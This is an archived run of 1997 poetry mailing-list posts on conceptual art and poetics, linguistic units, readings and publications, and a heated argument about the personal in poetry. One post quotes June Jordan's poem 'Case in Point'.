told you, she makes me so mad too.
i only wish you would write your snide comments more deliciously.
get that pen outta yer ass and write something juicy. stop whining in the
closet.
so, dodie, please enlighten me, where this precious boat might be which
lies in the 90's, which neither discusses fact/fiction or the personal/non.

at least make it interesting for us dodie. i guess you were right, her earlier response was not draped in niceties as i believed. i was warned but went on ahead anyway.

great stuff, alan and daniel.

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431. Bennett M. Sm [Dimpson

Re: hello poetics!

Mon 16 Jun 1997

Do the readers of
> this list have antique furniture?
> desperate for a new topic).

Well, ok, I rarely post (attendant) but I recognize a wake when I see one and thought I'd ask a question/raise a topic before more waves arrive. I'm working on a project (it is summer in Charlottesville) involving the correspondences, connecting flights, private dinner parties, sand castles of poets and "sculptors" working in and after Minimalism and Concept Art. Does this count as antique? Furniture, yes, I think. I've been swimming around in Smithson's writings, Matta-Clark's catalogues, LeWitt, Acconcci mimeographs, etc. full of handshakes, references, affinities to poets like Coolidge, Mayer, Grenier, Greenwald. The moment is word-as-thing, material language, "textual spaces-as-architectural spaces," 1967, 1974, 1986. Poems and Things as parallel structures for each other.

Laurie Anderson writes in GM-C book, "The thing I loved best about that time was how much people wer involved in each other's work. All of us did a lot of talking and a lot of writing. The Anarchitecture group was a completely literary thing and didn't have a lot to do with the structures we eventually came up with. What we were really entranced with was the subject --the subject meaning our ramblings... Because without the talk, the background, the thing that was left was really blank."

So, is any such talk recorded, documented, recognized, written about? Piombino and Watten and Davies do a lot with Smithson, but what other "artists" (plastic, environmental, conceptual) were important for poets at the time (and I know the time is really nebulous, cf. Tan Lin's present reactive work, a *dematerialization* of words as things)? But who is in the house as it's split (and what are they writing)? Any memories?

Inbreeding always allowed (it is summer in Charlottesville),

Bennett Simpson

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

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432. Hugh Nicoll
Re: The Dynamics of Literary Change
Mon 16 Jun 1997

At 5:00 PM -0500 6/16/97, [redacted] wrote:
>mark, thanx much for that summary-response to steve evans' essay (which i
>haven't yet seen)... very informative, searching...
>
Here, here ---- hear, hear

Could someone who has a copy of the elusive essay possibly scan it & post it, or put it up on a web-site somewhere, with Steve Evan's permission of course, so that it could become a source for further discussion?

Hugh

Hugh Nicoll, Miyazaki Municipal University,
Funatsuka 1-1-2, Miyazaki-shi 880 JAPAN
vox: 81-985-20-2000, ext 1306, fax: 81-985-20-4807
email: [redacted]

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433. Steve Carll
Spencer Selby/Andrew Levy at Canessa Park
Mon 16 Jun 1997

Thursday night, June 12th at the Canessa Park series in San Francisco, we were treated to a visit from Brooklyn's Andrew Levy and a special multi-media presentation by S.F. poet Spencer Selby. Spencer began the evening by reading some recent poems (from a manuscript called _The Big R_ and also some untitled pieces) while projecting slides of his visual works behind him. Some in the audience found that the density of each dimension, spoken and visual, made the other hard to follow; others quite enjoyed the mutual interplay. Some of the lines I wrote down come from the slides, and others from Spencer's voice:

attention was interrupted
has been drawn since it affirms as though they are dead

loaded with relevance not yet shown
can't use dead rain
with its golden eye
marked with something I can love
it is higher than everything
fragile lucid spirit
half-truth drum roll
dreams replaced by bad psychology
it doesn't look like a finger it looks like a feather
nothing can grow without reaction
counterpoint running over dark red
words are strung out and sometimes they are in the end "lost in the desert"
art of discovering that money grows on trees that are absent
you are night
surface of nonsense
this disease, and in his blindness
poem
heart disease and language made from what we want and cannot have
heat makes the secret writing visible!
a distance twisted by popular music
before my brain received a phone call from your heart
the politicians are doing in the world
mode of signing in a circle
cheating the knowledge box that took evasive action
more of the divine enigma as we progress
switch on positive human lamp
All Men Are Liars
monster born of meaning
when light rebukes the world
I'm one of those who believes that there is something that precedes
these words won't let us leave
demonic possession is mistaken for bedrest
blazing light of memory showing everything but the past
a poem written to release another paradox from your head
a transcendental goal, if you will--

After a short question and answer session, there was a short break. Then Andrew Levy read work from _Curve_ and other work:

I wish we could share more readily the geography of orbit
an oscillation that insists on something
who talks like the trees are falling and all day goes like this
consciousness is butter of antinomy

the ardor of your brain
O ether tor
making allegory from a continent whole as pardon
the snow in perspective under the stars
think against the fat
tempt this landlord with lard
once you are real you can no longer be ugly
thunder smothers the sky
you circle yourself too much
the modern egalitarian jacket
chemical insurances of the mind
that's a big stick, bigger than any used in this century
elevator hieroglyphics made it a game
"Elephant Surveillance To Thought"
the future is suffering and we're caught in the [sorry, got distracted!]
so everyone shared the same body of water
and took care to keep the filters clean
and the mind clear.

The attendees included Cole Swenson, Norma Cole, Spencer's partner Sara and her sister, Colleen Lookingbill, Jordon Zorker, Steve Vincent, Brian Lucas, Steve Dickison, Tina Rotenberg, Pat Reed, Eric Selland, Andrew Joron, and George Albon.

On Saturday in the Sculpture Garden at the University Art Museum in Berkeley there was a Larry Eigner tribute reading featuring about 40 writers scheduled which I was unable to attend. I look forward to reading other people's notes on it!

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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434. David Israel
God & Grapheme
Mon 16 Jun 1997

Poetas,

a newsbreak for your possible delectation.

(objective poetry?)

cheers,
d.i.

LONDON (Reuter) - British Muslims Thursday hailed what was described as a "miracle message" from God written inside a tomato. When Shaista Javed, a 14-year-old Muslim, sliced the tomato in half, she found the message spelled out in Arabic in its veins, British newspapers reported.

On one side she read "There is only one God," while the other said "Muhammad is the messenger." Shaista believes she has witnessed a miracle. "God made me buy that tomato," the Daily Mail quoted her as saying. "These words are a message from God."

Since Sunday, when she bought the tomato in the northern city of Huddersfield, word has spread throughout the Muslim community. About 200 people, some from as far afield as London, have visited the household to see the fruit, wrapped in plastic film to keep it fresh.

A local storeowner said demand for tomatoes had surged, but the nearby mosque was cautious. "We don't consider it a miracle but it is certainly a blessing," a spokesman was quoted as saying.

/ / / /

p.s.: regarding this best-known of all Islamic formulae (lately discerned in that London BLT sans the B & the L), a certain Pakistani cabdriver -- who was in some hurry to drop me off of an evening (so he could repair to his local mosque) -- related this tradition (Hadith) attributed to the Prophet Mohammed:

if the world were placed in one balance-pan, and that revered saying (There is no God but Allah, and Mohammed is his Prophet) were deposited in the opposite pan, the weight of that terse utterance would overbalance that of all the manifest world.

.
.....
.....
\\\

```
  >>     washington  d.c.     <<
| [redacted]     (home)
| [redacted]     (office)
==========================
|  thy centuries follow each other
|  perfecting a small wild flower
|                              (Tagore)
//////////////////////////////////////\\\\\/////
```

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435. Charles Bernstein

More RealAudio

Mon 16 Jun 1997

For those of you who are winding your way through the LINEbreak shows in RealAudio (though I wonder how many on this list have access to sound on their web browsers?), there are now two poems of mine up in RealAudio -- readings of poems that appeared in the last two issues of Sulfur. Both poems are linked to:

http://writing.upenn.edu/epc/authors/bernstein

And while I am at it, let me make my periodic reminder to post information about recent publications of your own as editors, publishers, writers (print, web, and other).

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436. Holly Crawford

Re: hello poetics!

Mon 16 Jun 1997

> Do the readers of
>> this list have antique furniture?
>> desperate for a new topic).
>
Or I have a different project: There is no deadline. Send me an offer. A personal thought, a poem, a n equation, an antidote, a formula, a story, a personal incident, an object, a recipe or anecdotes. Something you want to offer or have been offered.

Offers that I have received over the last several years at:http://www-leland.stanford.edu/~geo/holly_crawford.html

This site and project are never complete. The project is more tahn the site. The meaning is of the project is the project taken as a whole, which is never possible.

What is offered? By whom? What and whom is sacrificed?

I have also have a tape of recorded offers. I asked other to read offers that I have received. I'm trying to figure out how to install this on my site.

Offerings Project
Send me an offer.
URL:http://www-leland.stanford.edu/~geo/holly_crawford.html

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437. Alan Julu Sondheim
Re: hello poetics!
Mon 16 Jun 1997

Look at Bernadette Mayer's Memory, one of my favorite books.

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ and Javascripted text/webpages -- Tel. [redacted], 432 Dean St., Brooklyn, NY 11217 IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE

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438. David Bromige
Innovative poetics reading lists
Mon 16 Jun 1997

A p.s. to Chris Alexander's listing of Perelman's _Talks_ collection: there are 2 such volumes, from, I think, different publishers. The earlier one (1980?) may be o.p., but should be in collections like those at UCSan Diego, SUNY Buffalo, U.Arizona at Tucson, & many more for all i know. The earlier one has a more homecooked feel to it, not so focussed maybe but if you like that handheld camera effect....David

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439. (Harold Davis)
Re: appropriate post...
Mon 16 Jun 1997

I love, and have always loved, ever since I first listened to Scheherazade leave her hubby hanging that first night of their honeymoon, the art of digression, the continual insertion of clarifications, new insights, entirely unnecessary data that serve no purpose, no obvious purpose, other than to flesh out the author's, the text's, neuroses, obsessive, compulsive, and obsessive-comulsive. Commas are good. . .ellipses are better; semi-colons--and em dashes--are somwhere between the two. But (and I'm sure Laurence Sterne would agree), in the Poetics of Digression, the artist's best typographical weapon is the parenthesis.* May you never get where you think you're going, amato. Endings are (almost) always letdowns.

*Except, of course, for the footnote.

↑ Index

440. Holly Crawford
Re: appropriate post...
Mon 16 Jun 1997

> *I love, and have always loved, ...*
> *Commas are good. . .ellipses are better; semi-colons--and em dashes--are somwhere between the two. But (and I'm sure Laurence Sterne would agree), in the Poetics of Digression, the artist's best typographical weapon is the parenthesis.**
> *May you never get where you think you're going, amato. Endings are (almost) always letdowns.*
>
> **Except, of course, for the footnote.*

Yes!

I just finished and was sending out copies of the bone. It is part two. Part one and part two are based on Clement Greenberg's Avant-Garde and Kitsch. Part one is words by Clement Greenberg and part two is punctuation by...

I used different process on the differnt parts. Part II, the words in the poem were selected from words that corresponded to the respective Fibonacci number series. I repaeated this process twice.

Part II:

Where,

where

where, where
avant-garde?

Here is the introduction to the bone;

..,.
,,.
,.
_ ?
  ?

  .

- - , .
 , ,.

 I'm working on anthology of punctuation now called Period.

All work is available at Printed Matter in NY.

Offerings Project
Send me an offer.
URL:http://www-leland.stanford.edu/~geo/holly_crawford.html

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441. **dbkk**
Re: jwcurry, sondheim, kdawn,& Spicer
Mon 16 Jun 1997

At 6:45 PM -0400 6/16/97, Kim Dawn wrote:
>this isn't acker's world baby.
>tell her, em.
>please, hot stuff, put me upon the right boat. oh, boy do i need direction.
>oh boy, do i do i do i do i do i do i do i do i do i. i do.
>can't you see dodie? i was crying out for your help. please show me the way
>to proper bad girl prose. or, is it fact or is it fiction. there i go being
>stupid again. a stupid cunt.
>ALARM, THAT DAWN GIRL IS TRYING TO SHOCK US.
>I HEAR AN OBNOXIOUS YAWN FROM DODIE.

Hi everyone, it's Kevin Killian. Just wanted to let youy all know, that yes, today I finally finished writing the biography of Jack Spicer and sent it off to the publisher (Wesleyan) before my deadline! Hooray! Lew Ellingham started this book in May 1982 and now it is done . . . I want to thank all of you on this list who have helped me over the years in all the different ways--

--And just being there to listen to me fret and worry about 1) was I putting too much in 2) leaving too much out 3) was I going to say the wrong thing 4) was I going to send it to the publishers, and then, some shocking fact would emerge that would throw all my conclusions out the window (tho' now I can't imagine what that might be, but something like, you know, Zukofsky wrote "After Lorca" as a prank.

You have all been angels. But Kim Dawn, what is going on? See what happens when my back is turned, people start using capital letters. Leave Dodie alone, I can hardly believe what I'm reading, and here I was actually thinking of making a visit to Canada.

Also, the editor at Wesleyan says that they are also going to print Peter Gizzi's edition of Spicer's lectures at the same time as the biography. So that's next spring.

Okay, more later, thank you--everybody for all your support.--XXX Kevin

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442. **Piombino/Simon**
Re: Signage
Mon 16 Jun 1997

Kent, you're so right. In fact, Alan Davies and I have published so many collaborations that my only excuse for this curious oversight must be some hidden admiration turned to envy. You know, his work has been frequently discussed by the eminent scholar and critic Jerome McGann, most recently in his Black Riders, The Visible Language of Modernism (Princeton UP,1993). McGann wrote the following, about Alan's "Language Mind Writing'(the discussion this is excerpted from goes on for several pages)::"Davies' text, originally delivered as one of the celebrated Langton Street "talks," observes the conventions of a certain kind of theoretical prose:Wittgensten, Heidegger, perhaps Blanchot. But the text is so absorbed in its own expressiveness that reading it one may begin to lose track of the conventional distinction between words and things...This textual artfulness presides over the work...The text does not cease to function as philosophic exposition.Nevertheless, its linguistic formalities- its sign structures-stand out in ways we associate with poetical rather than with philosophical works...as if the text were an embodiment or enactment of thought, a demonstration (an example, a representation, a mimesis) of the idea that thought is always a certain kind of action- not a "truth" but, as Riding would say, a "truth-telling." Alan Davies' most recent book of poetry is the stunningly beautiful Sei Shonagon (published by Hole Books (22-191 McLeod Street, Ottawa, Ontario, Canada K2P OZ8): "We always care what happens next/until the unexpected always happens/absolving us of even chance" Kent, just for asking,

you are welcome to my second copy. Best wishes Nick On Mon, 16 June 1997, KENT JOHNSON wrote:

> *Too quick on the delete, and I thought of wanting to add something after pressing the button: Gwyn McVay, I believe, asked a question pertaining to books of "criticism" by innovative writers (tho the question was more specific than that) and Nick Piombino responded with a well-chosen list. Not on there, however, as I recall, was Alan Davies's _Signage_ (Roof, 1987) a book where poetry and criticism deeply fuse into strange and wonderful third things.*
>
> *What ever happened to Davies, by the way? Perhaps he's been plenty active, and I just don't keep up with things like I might... I remember that during the 80's he was something of a contrarian within the LangPo community, publishing in most all the places, but he was of a different "theoretical" bent, and some of those differences are recorded in the old _L=A=N=G=U=A=G=E Book_. The difference goes something like this:*
>
> *--Bernstein/Silliman/McCaffery, et.al.: "Thought is language."*
>
> *--Davies: "No it isn't."*
>
> *Well, one can imagine it was quite a bit more complicated than that, but the basic philosophical split was interesting (Davies, btw, is a long-time and committed Zen practitioner), and maybe stands as one of the best examples that the Language moment--a few people still think otherwise, it seems--was not underwritten by some hegemonic Marxist scheme.*
>
> *Anyway, _Signage_, by Alan Davies, humbly added to Nick Piombino's list.*
>
> *Kent*

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443. **Pam Brown**

Vysotsky

Mon 16 Jun 1997

Simon said - "if you can ever find tapes or CD of Vladimir Vysotsky singing, that's definitely an experience. (if you saw the Baryshnikov cold war epic White Nights, Baryshnikov does a solo to a Vysotsky piece)"

Yes - Vysotsky is a bit like a Soviet version of Bob Dylan - only much better - much more ribald. Even though he had died a few years beforehand (and thousands queued to mourn him) his songs are also used in the soundtrack of a 1993 film called "Moi Ivan,Toi Ivan" - I'm not sure of the English title - I saw it in Paris... a film about a young Russian Jew and Russian gentile...

Pam

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444. Kim Dawn
Re: More RealAudio
Mon 16 Jun 1997

> *For those of you who are winding your way through the LINEbreak shows in RealAudio (though I wonder how many on this list have access to sound on their web browsers?), there are now two poems of mine up in RealAudio -- readings of poems that appeared in the last two issues of Sulfur. Both poems are linked to:*
>
> *http://writing.upenn.edu/epc/authors/bernstein*
>
> *And while I am at it, let me make my periodic reminder to post information about recent publications of your own as editors, publishers, writers (print, web, and other).*

recent prose published in volume 19 no.4 spring 1997 issue of the journal -contemporary verse.

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445. Piombino/Simon
Re: hello poetics!
Mon 16 Jun 1997

Hi Bennett Simpson,
Quite an interesting question which probably Alan Sondheim could answer better than I could if you could tear him away from Julu and Jennifer.My sense of the art of the sixties in relation to poets was that delicious but extremely evanescent feeling that somehow art (perhaps poetry, music, anything) could be gently lifted out of its commercial(concrete?material?
reality?) context
and conceptually float away somewhere better on Pegasus wings, made out of pages from
0-9. Only these were Daedalus

wings, or more correctly Icarus wings, that perhaps eventually looked to Postmodernism for a soft landing. But, of course, if you remember the 60's, as the saying goes, you probably weren't there. This spirit probably lifted off somewhere right above the Spiral Jetty, when Smithson crashed into it.
By the way, how much are copies of 0-9 going for (edited by Bernadette Mayer and Vito Acconci in the late 60's- attention Granary Books!- side stapled & mimeo)? I almost got a really inexpensive copy from Suzanne Zavrian at Pomander Books but when I called she told me a dealer offered her $25 over the modest $30 she asked for, this dealer, who had with this copy put together a whole set for a collector who had already offered quite a sum for the whole set.
Best wishes,
Nick
On Mon, 16 Jun 1997, Bennett M. Sm
[Dimpson wrote:

> *Do the readers of*
> *this list have antique furniture?*
> *desperate for a new topic).*
>
> *Well, ok, I rarely post (attendant) but I recognize a wake when I see one and thought I'd ask a question/raise a topic before more waves arrive. I'm working on a project (it is summer in Charlottesville) involving the correspondences, connecting flights, private dinner parties, sand castles of poets and "sculptors" working in and after Minimalism and Concept Art. Does this count as antique? Furniture, yes, I think. I've been swimming around in Smithson's writings, Matta-Clark's catalogues, LeWitt, Acconcci mimeographs, etc. full of handshakes, references, affinities to poets like Coolidge, Mayer, Grenier, Greenwald. The moment is word-as-thing, material language, "textual spaces-as-architectural spaces," 1967, 1974, 1986. Poems and Things as parallel structures for each other.*
>
> *Laurie Anderson writes in GM-C book, "The thing I loved best about that time was how much people wer involved in each other's work. All of us did a lot of talking and a lot of writing. The Anarchitecture group was a completely literary thing and didn't have a lot to do with the structures we eventually came up with. What we were really entranced with was the subject --the subject meaning our ramblings... Because without the talk, the background, the thing that was left was really blank."*
>
> *So, is any such talk recorded, documented, recognized, written about? Piombino and Watten and Davies do a lot with Smithson, but what other "artists" (plastic, environmental, conceptual) were important for poets at the time (and I know the time is really nebulous, cf. Tan Lin's*

> *present reactive work, a *dematerialization* of words as things)? But who is in the house as it's split (and what are they writing)? Any memories?*
>
> *Inbreeding always allowed (it is summer in Charlottesville),*
>
> *Bennett Simpson*
>
> *&c.&c.&c.&c.&c.&c.&c.&c.*
> *&c.*
> *Bennett Simpson &c.*
> [redacted] *&c.*
> *&c.*
> *&c.&c.&c.&c.&c.&c.&c.&c.*

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446. Alan Julu Sondheim

Re: hello poetics!

Mon 16 Jun 1997

I was in the last 0-9 and I lost my set; they're going for up to $250 a volume. I loaned the whole thing to someone a couple of years ago and I forget!

Anyway, I don't think it was lost in pomo; I think whatever that non- commercial spirit etc. was, it's still present like a good-bad penny.

After Buren for example, re: painting, there was no reason to continue.

That was clear. For that was a direction or vector slamming into the ground; he slammed it, along with the whole Parmentier, Toroni, Mosset (BPMT) gang.

Spiral Jetty and Smithson are before me; I never identified with the minimalists or reductive conceptualists.

What got lost was the whole culture, again slammed, etc. Writing was just a part of us. We walk around with broken skulls, trauma to the day.

Alan, if I lose my edge I'd rather die. I mean this literally; what oozes from the skull, well then. Maybe Brossard as well; I still have her early work as well (magazine).

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447. charssmith
Re: syllable king and pin
Mon 16 Jun 1997

Why not call the "s" & "t" alphabetic letters? (or graphemes if you must.) Just keep in mind that there is no one-to-one correspondence between letters & the phonemes English uses. "Th" & "sh" are each single phonemes. I don't think it's very useful to posit partial phonemes. Some linguists do talk about "secondary phonemes," but those, I believe, are related to stress & pitch. Some letters are used for multiple phonemes (the vowels, for instance) . Some phonemes are represented by more than one letter (the initial phoneme in "say" & "cease").

Robert Duncan used to have his students transcribe poems into the International Phonetic Alphabet. I've found it to be a useful & interesting exercise to tune your ears It will also give you a visual graph of the sound structure of the passage or poem in question.

cs

In a message dated 97-06-16 13:48:58 EDT, Bob Grumman writes:

<< How about "sylb" as a textual unit between a phoneme and a syllable? Not a suggestion really worth a posting, probably, but I also wanted to ask a question or two. What would the "s" in the phoneme, "sh," be called? Or the "t" in "th?" I'm vague about what a grapheme is, too: a phoneme in print? If there's no name for partial phonemes like the afore-mentioned "s" and "t," my first very tentative suggestion is "rudineme." So the word "the" would consist of the two phonemes, "th" and "e," and of the three rudinemes, "t," "h" and "e." >>

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448. Bennett M. Sm [Dimpson
Re: hello poetics!
Tue 17 Jun 1997

On Mon, 16 Jun 1997, Piombino/Simon wrote:

> *Hi Bennett Simpson,*
> *Quite an interesting question which probably Alan Sondheim could answer*
> *better than I could if you could tear him away from Julu and Jennifer.My*
> *sense of the art of the sixties in relation to poets was that delicious*
> *but extremely evanescent feeling that somehow art (perhaps poetry,*
> *music, anything) could be gently lifted out of its*
> *commercial(concrete?material?*
> *reality?) context*
> *and conceptually float away somewhere better on Pegasus wings, made out of*
> *pages from*
> *0-9. Only these were Daedalus*

> *wings, or more correctly Icarus wings, that perhaps eventually looked to Postmodernism for a soft landing. But, of course, if you remember the 60's, as the saying goes, you probably weren't there. This spirit probably lifted off somewhere right above the Spiral Jetty, when Smithson crashed into it.*

Smithson crashes (transitive), yes, he says NO to just about everything, including "concept" and "system" --what's his line, here it is, "I mistrust the whole notion of concept. I think that basically implies an ideal situation, a kind of closure." Of course Smithson's skepticism didn't keep anyone from trying to excavate --at least not on an allegorical level. Cf. Matta-Clark's utopian airing-out of previously closed spaces (and Dan Graham's no-holds barred political reading of such airing-out). There's a split between those who think art should make systems ambient, environmental, should bring them out of the dark, and those who think (liek Smithson, maybe) that this kind of impulse is self-defeating, that, yes, art can point to ruins/corpses, but once the taxonomy starts you're back in the realm of bad faith. I wasn't there, I don't remember, and as McGann says about so many things, "I don't know what I don't know."

Did the sculptors read the poets? This sounds like a naive question, and it is, but the reading I do in art history and criticism of the time is much more ignorant of words/poetry than the words/poetry is of the art. Why is this? Is concept cum word a more directly powerful (vaccuuming) notion than word cum concept? What is it about things and actions that cause people to "lift off" into the aether (and now, ironically (or not) back into commercial spaces: "Margins" show at Barbara Gladstone Gallery: Acconci, LeWitt, Matta-Clark, Smithson through July 19th)? Do people have a more immediate phenomenological (sorry) relation vis-a-vis "concept art" than they do "concept writing"? It's interesting that much of the writing by people like LeWItt and Acconci, "Sentences on Conceptual Art" etc. is considered still in the realm of "art" and not in the realm of "poetry" --even at a time when the possibilities and suppositions about "poetry" undergo massive re-exploration. Not just a case of historical jet lag.

Sorry fuzzy. I'm procrastinating.

Incidentally, Acconci has some early, early (1961) poems published in a new magazine out of Paris called *Purple Fiction.* I like them, and do everything they say.

Polaroids,

Bennett Simpson

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.

&c.
&c.&c.&c.&c.&c.&c.&c.&c.

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449. **Tom Orange**
syllable king and pin
Tue 17 Jun 1997

---

thanks to bob g. for posing some potentially useful "-emes" and "slybs", and to george t. for some linguistic clarifications.

yes, partial phonemes is messy business, "th" and "sh" being unique phonemes and thus irreducible to the different effects of the "t" and "s" in each case. and grapheme, yes, smallest discrete unit of verbal signification as bob puts it -- tho what do we do with an "i" with seven dots (lbd..?)

george, i like yr husk/core image: "meant" too is a fine example, that "a" being part of the husk i'd like to peel away, tho it has a certain graphic import.

hadnt thot abt morphemes tho, damn. and while we're at it, why not think abt "blent" (saw it in a d.g. rossetti sonnet not to long ago, "blended" becomes archaized into "blent")

tho in the showcase showdown of the "emes," my money says that "ent" is still a heavy-weight contender -- by any name.

cheers,
t.

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450. **Eliza McGrand- CVA Guest**
the personal and the innovative (big yawn)
Tue 17 Jun 1997

---

re notion being puffed out various corners that i detest the personal, let's do some real, critical, logical thinking:

the personal... in poetry: i get tired sometimes of what after a while can feel like an eternity of naval-gazing. but overall it's been great to move past predominance of flowers/mythical figure tropes, and into the goldmine of material drawn from lived life. still, there are too many poets writing poems where editing or careful shaping are considered unnecessary as long as there is something personal in there. come one, admit it, you all know the breed: "my lover/ has flown from my heart/taking all the precious dreams/we built /together" on to "hey baby/when you took the heroin/ you also took the needle/and now i'm hurting/bad" blah blah blah

i'm looking for something more when i read a poem. this has been said, many times, many ways, even by many of us, so i won't go into it.

in other words, the personal, as a way of extending realm of subject matter -- i'm all for it. tillie olson RULES THE UNIVERSE! what puzzles and irritates me is that anyone reading my posts with modicum of care and thought, much less reading my work, would know all this. and isn't, after all, reading with care and thought what being writer, critic, is all about? [geez this must be a boring and obvious post for most of you -- it sure is boring to have to write. makes me think of adrienne rich's theory that the erasure of feminist theory holds us all back by making us continually have to rewrite it, and that at a certain point, pretending or deliberately choosing ignorance becomes an argument tactic in itself because it forces one side to continually have to restate the basics and obvious. sorry to do it here but after several waves of misinformation i'm at point of thinking it is now necessary.]

next, the personal in postings, correspondence with strangers, daily interaction. i don't think well of screaming crude hurtful invective and threats for little or no reason at complete strangers. nor of hitting on anyone in vicious, loudly sexually aggressive way to make hitee [and bystanders] uncomfortable, or to elicit flames, or to get people to notice one. perhaps it's because instead of trying to justify myself by pretending to things i've little or no experience of, in (for example) this particular scenario i know too much firsthand about how unjust and disgusting it is to be sexually harrassed. so adopting sexual harassment as blanket response is, to me, unacceptable. remember our audre lord: "the master's tools will never dismantle the master's house."

IMHO, personally vicious responses in what is meant to be a thoughtful, attentive, responsive environment like this list are particularly unwelcome. it isn't right for janitor to put up girlie posters and threaten to rape co-workers, it isn't right for a stock trader to leave comments about a secretary's abortion and graphic sexual come-ons on her desk, and it isn't right to sexually harass people on this list either. duh.

also, i wouldn't take a tire iron and crush the hand of someone who was a little slow getting me my coffee. proportion. again, duh. i really am sorry about this posting -- it is so painfully obvious it is tiresome to even have to articulate -- i wish a few sectors of the response to my postings had not necessitated this. rob, you must be writhing -- i'll try and throw in a few buzzwords to comfort you -- deconstructionist angst, postmodern recovery of the self, phallus-laden trauma.

finally, sorry dodie, joseph, alan, and kali, but the "bad girl" (or "bad boy") pose is as old as the sun and far more trite and predictable (if i only had a dime for every college freshman or teenager with a cigarette dangling from their mouth,

a torn shirt, leather clothing of some sort, and a stock string of nasty things to say, i'd be rich. heck -- i'd take a nickle!). one can always find a crude, hurtful thing to do and then claim it was rebellion -- timothy mcveigh has shown us that, surely. finding a clear, elegant, blazing, exact-fit response, one (like dodie's hysterically funny, and aptly pointed video, uh, "review" chopped into one of those awful careless narrative "poem" offerings) which is not blindly, out of proportion, tritely hurtful, ahhh... THAT, THAT is much more difficult. consider tim o'brien's _The Things They Carried_, randy shilts' _And the band played on_, Tillie olson's _I stand here ironing_, larry heinemann's "paco's story," june jordan's "case in point" (appended to comfort eveyone for having to wade though this muck), judy grahn's "a woman is talking to death," george herbert's "easter wings" and "redemption," dorothy allison's _bastard out of carolina," seamus heaney's "mid-term break," anything by lady borton -- all creative/critical responses to deeply felt trauma and/or sociologic/political beliefs -- all arrows, explosions, exact clear aimed work by brilliant craftspersons writing of something they know a thing or two about...

and really, to make a life's work of complaining that someone has victimized you in some way; to make any slight or raised voice (imagined, actual, or provoked) justification for responding with massive gunfire while ignoring all the bystanders wounded, ignoring disparity between initial slight and way over-kill response... seems awfully hypocritical and self-centered, i.e. "i can be careless and insensitive and crude but no one else can ever cease to eternally monitor my sensitivies and cater to them"... i'm reminded of that awful phase teenagers go through when nothing their parents do is right and nothing teenager does is wrong...

sorry to bore you all with this. finally, could i ask a favor: before anyone goes about calling me names and making presumptions about my poetics and critical leanings and writing, please make some effort to a) actually READ and THINK about what i've said; b) actually read some of my work (http://www.ai.mit.edu/people/elliza/elliza.html and various publications -- sugar mule, nedge, east coast review, alsop review)? thanks!

CASE IN POINT June Jordan, 1980

A friend of mine who raised six daughters and
who never wrote what she regards as serious
until she
was fifty-three
tells me there is no silence peculiar
to the female
* * *

I have decided I have something to say
about female silence: so to speak
these are my 2 cents on the subject:
2 weeks ago I was raped for the second
time in my life the first occasion
being a whiteman and the most recent
situation being a blackman actually
head of the local NAACP

Today is 2 weeks after the fact
of that man straddling
his knees either side of my chest
his hairy arm and powerful left hand
forcing my arms and my hands over my head
flat to the pillow while he rammed
what he described as his quote big dick
unquote into my mouth
and shouted out: "D'ya want to swallow
my big dick; well, do ya?"

He was being rhetorical.
My silence was peculiar
to the female.

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451. **Pam Brown**
ships
Tue 17 Jun 1997

Yes Eliza -
" i get tired sometimes of what after a
while can feel like an eternity of naval-gazing" - and after I became tired of sea-shanties and "moaning at the bar" I chucked it in and took up abstraction.
Cheers,
Pam

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452. **Eliza McGrand- CVA Guest**
Re: ships
Tue 17 Jun 1997

---

you know, a friend of mine was describing a move to abstraction in painting in much the same way -- but you have made me take this in much more clearly, abstraction as an alternative to the endlessly personal. i guess, the only moves

away i have come up with were to other people's stories, or to impersonal country-house/landscape kinds of poems.

elizabeth bishop went to a fragmented, abstracted poetic in a number of poems and short stories where there was any use of personal material, and she often described ennui with naval gazing, though not the sea-going sort.

and walt whitman, of course, combined both naval(body) gazing and naval (sea) gazing!

how would an abstraction of the deeply personal/felt, like, say, picasso's "guernica" (does one put names of paintings in quotes or underline?) fit in your poetic? what if there was just one, teensy, weensy, little ship, not even a ship but a shiplet, tucked away in one corner -- or maybe, say, one, just one sailor trope?

e

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453. Eliza McGrand- CVA Guest

!!whoops! not a plug!!

Tue 17 Jun 1997

---

sheesh! i just realized -- i didn't mean would everyone on list please look at my web page (though you're welcome to if you want). i meant, if you're about to make an assumption about my poetics/critical leanings/ me, could you do the research there first?

red-faced...
e

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454. Piombino/Simon

Re: Smithson's Poetics

Tue 17 Jun 1997

Hi Bennett Simpson, Thanks for mentioning the show at Barbara Gladstone. I did meet Robert Smithson once, introduced to him on a visit to Max's Kansas City in 1972 or 1973. He expressed a lot of interest in poetry and spoke of wanting to see more connections between the arts. Although I don't know so much about Smithson's art work, I've always been fascinated by his writing, which has been recently republished. In his article "From Ivan The Terrible to Roger Corman or Paradoxes of Conduct In Mannerism as Reflected in the Cinema" he mentions Baudelaire, Nabokov, William Empson, Shakespeare, Stanislavksy, Brecht,Poe. Did he read contemporaneous poets? My guess is he did, at least in passing, given that he seemed to read quite a lot. Another quote, this time "A

Museum of Language in the Vicinity of Art": "Serge Gavronsky writing in Cahier Du Cinema, No. 10, points out that Warhol employs a kind of self-inventing dialogue in his films, that resembles the sub-dialogue of Nathalie Sarraute. Gavronsky points out the 'dis-synchronzized talk' 'monsyllabic English,' and other 'tropistic' effects..." Best wishes, Nick P. On Tue, 17 Jun 1997, Bennett M. Sm [Dimpson wrote:

> *On Mon, 16 Jun 1997, Piombino/Simon wrote:*
>
> *Hi Bennett Simpson,*
> *Quite an interesting question which probably Alan Sondheim could answer*
> *better than I could if you could tear him away from Julu and Jennifer.My*
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> *probably lifted off somewhere right above the Spiral Jetty, when*
> *Smithson crashed into it.*
>
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> *including "concept" and "system" --what's his line, here it is, "I*
> *mistrust the whole notion of concept. I think that basically implies an*
> *ideal situation, a kind of closure." Of course Smithson's skepticism*
> *didn't keep anyone from trying to excavate --at least not on an*
> *allegorical level. Cf. Matta-Clark's utopian airing-out of previously*
> *closed spaces (and Dan Graham's no-holds barred political reading of such*
